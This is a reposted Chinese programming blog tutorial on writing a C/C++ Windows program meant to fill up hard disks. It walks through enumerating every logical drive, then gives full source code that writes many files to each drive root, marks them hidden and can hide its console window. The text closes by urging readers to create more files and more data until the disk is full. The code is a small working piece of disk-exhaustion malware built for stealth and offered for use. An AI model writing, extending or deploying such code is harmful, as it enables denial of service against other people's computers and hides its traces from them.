C/C++轻松写可塞满硬盘的程序


本文摘自PHP中文网,作者黄舟,侵删。

关于写可塞满硬盘的程序

我们先想想思路:

第一步:获取逻辑盘符

第二步:创建文件

第三步:文件写入数据

扩展要求:

一:隐藏窗口

二:文件设置为隐藏属性


下面我们对上述的思路介绍一个API,接受完后给出源代码


GetLogicalDriveStrings function

Fills a buffer with strings that specify valid drives in the system.

1

2

3

4

DWORD WINAPI GetLogicalDriveStrings( 

  _In_  DWORD  nBufferLength, 

  _Out_ LPTSTR lpBuffer 

);

751.png

此函数是把系统里面可用的磁盘读取到lpBuffer里面

成功则返回获取的总长度,

失败有两个情况一个是buffer不够长,一个是其他问题


关于其他的API函数,都比较简单,有些可以从命名意思就知道功能,在此不在介绍,源码中也有注释,

下面看源代码

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

#include <Windows.h> 

   

int main() 

    //FreeConsole();    //隐藏控制台 

   

    char strDriveStrings[MAXBYTE] = { 0 }; 

   

    //获取逻辑地址 

    DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings); 

   

    for (size_t i = 0; i < dwDriveStrLen; i += 4)    //每4个字节表示一个盘符              

    

        char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 }; 

        strncpy_s(strRoot,&strDriveStrings[i], 4); 

        strcpy_s(strTargetPath, strRoot); 

   

        //创建100个文件 

        for (int j = 0; j < 100; j++) 

        

            char TempStrTargetPath[MAX_PATH]; 

            strcpy_s(TempStrTargetPath, strTargetPath); 

            char FileName[MAXBYTE]; 

            char Date[MAXBYTE] = "11111"

            wsprintf(FileName, "%d.txt", j); 

            strcat_s(TempStrTargetPath, FileName); 

   

            //创建文件 

            HANDLE hFile; 

            hFile = CreateFileA(TempStrTargetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 

            if (hFile == INVALID_HANDLE_VALUE) 

                continue

            DWORD Pointer; 

   

            //写入数据 

            WriteFile(hFile, &Date, strlen(Date), &Pointer, NULL); 

            CloseHandle(hFile); 

   

            //将s所指向的某一块内存中的前n个 字节的内容全部设置为ch指定的ASCII值 

            memset(FileName, 0, sizeof(FileName)); 

   

            //设置为隐藏 

            SetFileAttributesA(TempStrTargetPath, FILE_ATTRIBUTE_HIDDEN); 

        

           

    

    return 0; 

}

把文件浏览属性设置好:

747.png

运行结果如下:

748.png

如果出现以下问题:

749.png

修改字符集如下:

750.png

所以大家只要多搞几个文件,多搞点数据,硬盘就会被塞满

以上就是 C/C++轻松写可塞满硬盘的程序的内容!

相关阅读 >>

在c程序中,注释语句只能位于一条语句的后面吗

c语言程序从哪里开始执行

c/c++中字节序、类型转化的深入理解

c/c++轻松写可塞满硬盘的程序

c/c++轻松破解别人程序的窗口标题

c/c++判断是否为笔记本电脑

更多相关阅读请进入《c/c++》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...